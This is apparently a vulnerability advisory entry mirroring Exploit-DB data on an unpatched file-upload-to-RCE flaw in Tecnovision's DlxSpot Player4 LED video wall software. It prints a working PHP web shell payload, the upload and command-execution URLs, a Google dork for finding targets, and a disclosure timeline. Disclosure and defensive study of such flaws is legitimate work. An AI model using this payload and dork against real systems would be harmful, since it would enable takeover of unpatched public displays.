DlxSpot - Player4 LED video wall - Arbitrary File Upload to RCE

vendor:

DlxSpot - Player4

by:

Simon Brannstrom

9,8

CVSS

CRITICAL

Arbitrary File Upload leading to Remote Command Execution

434

CWE

Product Name: DlxSpot - Player4

Affected Version From: >1.5.10

Affected Version To: N/A

Patch Exists: NO

Related CWE: CVE-2017-12929, CVE-2017-12928, CVE-2017-12930

CPE: a:tecnovision:dlxspot_-_player4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2017

DlxSpot – Player4 LED video wall – Arbitrary File Upload to RCE

A vulnerability in DlxSpot - Player4 LED video wall allows an attacker to upload a malicious PHP shell and execute arbitrary commands on the system. This can be done by visiting http://host/resource.php and uploading a PHP shell, such as <?php system($_GET["c"]); ?>. The attacker can then execute arbitrary commands on the system by visiting http://host/resource/source/shell.php?c=id.

Mitigation:

The vendor has not released a patch for this vulnerability. Users should restrict access to the vulnerable system and monitor for suspicious activity.

Source

Exploit-DB raw data:

# Exploit Title: DlxSpot - Player4 LED video wall - Arbitrary File Upload
to RCE
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls
all over the world, they are used in football arenas, concert halls,
shopping malls, as roadsigns etc.
# CVE: CVE-2017-12929
# Linked CVE's: CVE-2017-12928, CVE-2017-12930.

# Visit my github page at
https://github.com/unknownpwn/unknownpwn.github.io/blob/master/README.md
for complete takeover of the box, from SQLi to root access.
###############################################################################################################################

Arbitrary File Upload leading to Remote Command Execution:

1. Visit http://host/resource.php and upload PHP shell. For example: <?php
system($_GET["c"]); ?>
2. RCE via http://host/resource/source/shell.php?c=id
3. Output: www-data

TIMELINE:
2017-05-14 - Discovery of vulnerabilities.
2017-05-15 - Contacted Tecnovision through contact form on manufacturer
homepage.
2017-06-01 - No response, tried contacting again through several contact
forms on homepage.
2017-08-10 - Contacted Common Vulnerabilities and Exposures (CVE)
requesting CVE assignment.
2017-08-17 - Three CVE's assigned for the vulnerabilities found.
2017-08-22 - With help from fellow hacker and friend, byt3bl33d3r, sent an
email in Italian to the company.
2017-09-18 - No response, full public disclosure.

  DEDICATED TO MARCUS ASTROM
FOREVER LOVED - NEVER FORGOTTEN